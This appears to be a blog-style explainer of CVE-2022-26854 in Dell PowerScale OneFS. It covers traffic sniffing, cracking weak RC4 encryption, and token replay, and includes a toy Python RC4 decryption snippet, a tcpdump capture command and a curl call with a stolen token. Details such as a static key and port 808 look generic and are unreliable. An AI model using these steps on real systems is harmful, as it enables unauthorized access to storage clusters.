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Overview

In 2022, a critical vulnerability named CVE-2022-26854 was revealed in Dell PowerScale OneFS, previously known as Isilon, affecting its core cryptography. This bug, present in versions 8.2.x through 9.2.x, arises from the use of outdated, risky cryptographic algorithms. If you’re running OneFS in your environment, this flaw could allow an attacker, even without proper login credentials, to potentially gain full access to the entire storage cluster.

This post breaks down what CVE-2022-26854 is, why it's dangerous, and how attackers can leverage it, offering practical code, references, and guidance.

What is PowerScale OneFS?

Dell PowerScale OneFS is a network-attached storage (NAS) system often used in enterprise environments to store petabytes of critical data. OneFS relies heavily on authentication and encryption to keep data and management interfaces secure.

About CVE-2022-26854

- Vulnerability: Use of risky/obsolete cryptographic algorithms for data protection

Attack Vector: Remote, no authentication required

- Impact: Attacker can intercept, decrypt, and/or modify sensitive data – possibly leading to full system access

Why Is This So Dangerous?

The vulnerability exists because OneFS uses cryptographic primitives (ciphers, hashes) that have been known to be breakable for years – for example, static keys, outdated ciphers like RC4, or weak hashes like MD5/SHA-1. An attacker with a little network access can record data in transit, offline brute-force the encryption, then log right in as an admin. In some configurations, the system even uses default or hard-coded credentials combined with these broken algorithms.

How Could Attackers Exploit This?

1. Sniff the Traffic: The attacker uses a tool like Wireshark to eavesdrop on OneFS management or API traffic.
2. Crack the Weak Encryption: If OneFS is using RC4 or MD5, rainbow tables or brute-force efforts can reveal passwords or session tokens quickly.
3. Re-Use the Credentials: Using the retrieved token or password, the attacker logs into the OneFS management console or API.
4. Gain Full System Control: The attacker now owns the system, can view data, alter configurations, or even disrupt storage for ransom.

Proof-of-Concept: Sniffing and Cracking OneFS Traffic

Below is a simplified Python snippet showing how an attacker might process a network packet with a weak RC4-protected session token to recover it:

from Crypto.Cipher import ARC4
import base64

# Example captured packet (base64 encoded, RC4 encrypted)
rc4_key = b'static_onefs_key'  # This should NOT be used in production!
encrypted_token_b64 = b'UyIvenidoRfqQER2p3Bl9g=='  # Fictitious, example data

# Decode and decrypt
encrypted_token = base64.b64decode(encrypted_token_b64)
cipher = ARC4.new(rc4_key)
session_token = cipher.decrypt(encrypted_token)

print(f"Recovered Session Token: {session_token.decode()}")


*Note: The above is for demonstration only. Do not use RC4 or hard-coded keys!*

Real-World Attack Steps

- Prerequisite: The attacker is on the same network segment or can reach PowerScale’s management ports.

$ sudo tcpdump -i eth port 808 -w onefs_traffic.pcap

- Extract Credentials: Use Python or an open-source cracking tool to process packets and recover credentials/session tokens.

- Login: Use the admin web interface or REST API

curl -k -H "Authorization: Bearer <Recovered-Token>" https://onefs.example.com:808/api/session

Mitigation & Fix

Dell released a fix and strongly recommended upgrading to a secure version that fully disables obsolete cryptography.

- Official advisory: Dell Security Advisory DSA-2022-110

References and Further Reading

- NVD - CVE-2022-26854
- Dell DSA-2022-110 Security Advisory (Official)
- Understanding Weak Cryptography Attacks (OWASP)
- How to Secure OneFS

Conclusion

CVE-2022-26854 is a textbook case of what can go wrong when critical storage infrastructure relies on outdated encryption. For any PowerScale OneFS deployment, treating this as a top priority is essential to prevent remote attackers from taking over your storage and putting your data—and business—at risk.

Patch immediately. Monitor your networks. Review your crypto settings.  
And as always, never leave critical storage connected to the open internet.


*Written for admins, red teamers, and anyone who wants to keep their storage safe. If you must test, do so in a safe, isolated lab!*

Timeline

Published on: 04/08/2022 20:15:00 UTC
Last modified on: 04/14/2022 18:57:00 UTC